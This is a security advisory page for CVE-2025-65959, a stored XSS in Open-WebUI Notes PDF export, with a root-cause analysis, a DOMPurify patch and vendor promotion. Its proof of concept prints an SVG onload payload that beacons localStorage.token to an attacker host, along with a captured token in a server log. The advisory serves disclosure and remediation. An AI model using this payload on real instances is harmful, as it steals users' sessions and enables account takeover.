CVE-2025-65959

CVE-2025-65959 is a high-severity cross-site scripting (XSS) vulnerability in open-webui (npm), affecting versions <= 0.6.36. It is fixed in 0.6.37.

Summary

A Stored XSS vulnerability has been discovered in Open-WebUI's Notes PDF download functionality.
An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF.

This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files.

Details

Vulnerability Location

File: src/lib/components/notes/utils.ts
Function: downloadPdf()
Vulnerable Code (Line 35):

const contentNode = document.createElement('div');

contentNode.innerHTML = html;  // Direct assignment without DOMPurify sanitization

node.appendChild(contentNode);
document.body.appendChild(node);

Root Cause

  1. Incomplete TipTap Editor Configuration

    • Open-WebUI only uses TipTap StarterKit
    • No Schema definition for dangerous tags like SVG, Script
    • Unknown HTML tags are stored as raw HTML
  2. Missing Sanitization During PDF Generation

    • note.data.content.html is directly assigned to innerHTML
    • No DOMPurify or other sanitization
    • Stored malicious HTML executes as-is

PoC

Environment

  • Open-WebUI latest version (v0.6.36)
  • Admin account

Step 1: Create Malicious Markdown File

Filename: token_stealer.md

<svg onload="navigator.sendBeacon('https://redacted/steal',localStorage.token)"></svg>

navigator.sendBeacon() was used to bypass CORS.

Step 2: Import to Notes

  1. Login to Open-WebUI
  2. Click "Notes" in the left menu
  3. Drag and drop the Markdown file
  4. Note is automatically created

Step 3: Trigger PDF Download

  1. Access Notes menu (/notes)
  2. Click on the right side of the uploaded note
  3. Select "Download""PDF document (.pdf)"
  4. JavaScript executes

Step 4: Verify Token Theft

Attacker's server log:

POST /steal HTTP/1.1
Host: redacted
Content-Type: text/plain;charset=UTF-8
Content-Length: 145

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMjE4ZmU4LTU2MTktNGEzNS05MWZkLTM2MzA3NDU1NGFkNCJ9.zOicE5c5FJ3ZOc9j6T2xHU-K6dbz-s1ib_hIG4LayFw

And Simple PoC alert(1)

Filename: simple_poc.md

<svg onload="alert(1)"></svg>

Vulnerability Type

CWE-79: Cross-site Scripting (XSS)
CWE-116: Improper Encoding or Escaping of Output

Affected Users

  • All Open-WebUI users
  • Especially users utilizing the Notes feature

Attack Scenario

1. Attacker shares malicious note (.md file) in the community
2. Victim uploads the shared note (.md file)
3. Victim downloads as PDF
4. XSS vulnerability triggers
5. Victim's session (localStorage.token) is stolen

Recommended Patch

// src/lib/components/notes/utils.ts:35
import DOMPurify from 'dompurify';

const contentNode = document.createElement('div');

// Sanitize with DOMPurify
contentNode.innerHTML = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: [
        'p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
        'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote', 'table', 'thead',
        'tbody', 'tr', 'td', 'th'
    ],
    ALLOWED_ATTR: ['href', 'class', 'target'],
    FORBID_TAGS: ['svg', 'script', 'iframe', 'object', 'embed', 'style'],
    FORBID_ATTR: ['onload', 'onerror', 'onclick', 'onmouseover', 'onfocus'],
    ALLOW_DATA_ATTR: false
});

node.appendChild(contentNode);

References

Impact

CVSS 3.1 Score: 8.7 (High)

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2025-65959 has a CVSS score of 8.7 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.6.37); upgrading removes the vulnerable code path.

Affected versions

open-webui (<= 0.6.36)

Security releases

open-webui → 0.6.37 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade open-webui to 0.6.37 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2025-65959? CVE-2025-65959 is a high-severity cross-site scripting (XSS) vulnerability in open-webui (npm), affecting versions <= 0.6.36. It is fixed in 0.6.37. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. How severe is CVE-2025-65959? CVE-2025-65959 has a CVSS score of 8.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of open-webui are affected by CVE-2025-65959? open-webui (npm) versions <= 0.6.36 is affected.
  4. Is there a fix for CVE-2025-65959? Yes. CVE-2025-65959 is fixed in 0.6.37. Upgrade to this version or later.
  5. Is CVE-2025-65959 exploitable, and should I be worried? Whether CVE-2025-65959 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2025-65959 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2025-65959? Upgrade open-webui to 0.6.37 or later.

Other vulnerabilities in open-webui

CVE-2026-54022CVE-2026-54021CVE-2026-54019CVE-2026-54018CVE-2026-54017

Stop the waste.
Protect your environment with Kodem.